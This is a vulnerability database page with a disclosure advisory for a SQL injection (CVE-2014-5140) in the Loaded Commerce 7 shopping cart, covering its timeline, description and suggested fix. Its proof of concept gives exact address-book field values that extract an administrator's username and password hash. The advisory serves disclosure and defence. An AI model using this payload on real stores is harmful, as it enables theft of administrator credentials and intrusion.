Lucene search
K

LoadedCommerce7 - Systemic Query Factory Vulnerability

🗓️ 18 Sep 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

LoadedCommerce7 systemic query factory vulnerability allows remote SQL injection through user input, critical severity

Related
Code
ReporterTitlePublishedViews
Family
0day.today
LoadedCommerce7 - Systemic Query Factory Vulnerability
8 Sep 201400:00
zdt
CVE
CVE-2014-5140
3 Jan 202019:50
cve
Cvelist
CVE-2014-5140
3 Jan 202019:50
cvelist
Exploit DB
LoadedCommerce7 - Systemic Query Factory
7 Sep 201400:00
exploitdb
EUVD
EUVD-2014-5038
7 Oct 202500:30
euvd
exploitpack
LoadedCommerce7 - Systemic Query Factory
7 Sep 201400:00
exploitpack
NVD
CVE-2014-5140
3 Jan 202020:15
nvd
Packet Storm
Loaded Commerce 7 Shopping Cart SQL Injection
8 Sep 201400:00
packetstorm
Prion
Sql injection
3 Jan 202020:15
prion

                                                Title:     LoadedCommerce7 Systemic Query Factory Vulnerability
 
Advisory:  http://breaking.technology/advisories/CVE-2014-5140.txt
 
Credits:   Discovered by Breaking Technology Research Labs 2014-06-30
 
Reference: CVE-2014-5140 - Assigned 31 June 2014
 
Timeline:
           Vendor notified - 29 July 2014
           Vendor confirmed exploit 30 July 2014
 
 
Severity:           Critical
Attack Complexity:  Minimal
Classification:     SQL injection, unsafe string replacement
 
Description:
 
    Loaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection.
 
Proof of Concept:
 
    Have a valid customer account and create a new contact in your address book using the following values.
 
 
    First name: :entry_lastname,
    Last Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#
 
    The new contact will be added to your address book with the admin hash as the contact's street address
 
Suggested Fix:
    Sanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value.  A similar fix was issued for tomatocart, available at
        https://github.com/tomatocart/TomatoCart-v1/pull/238
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation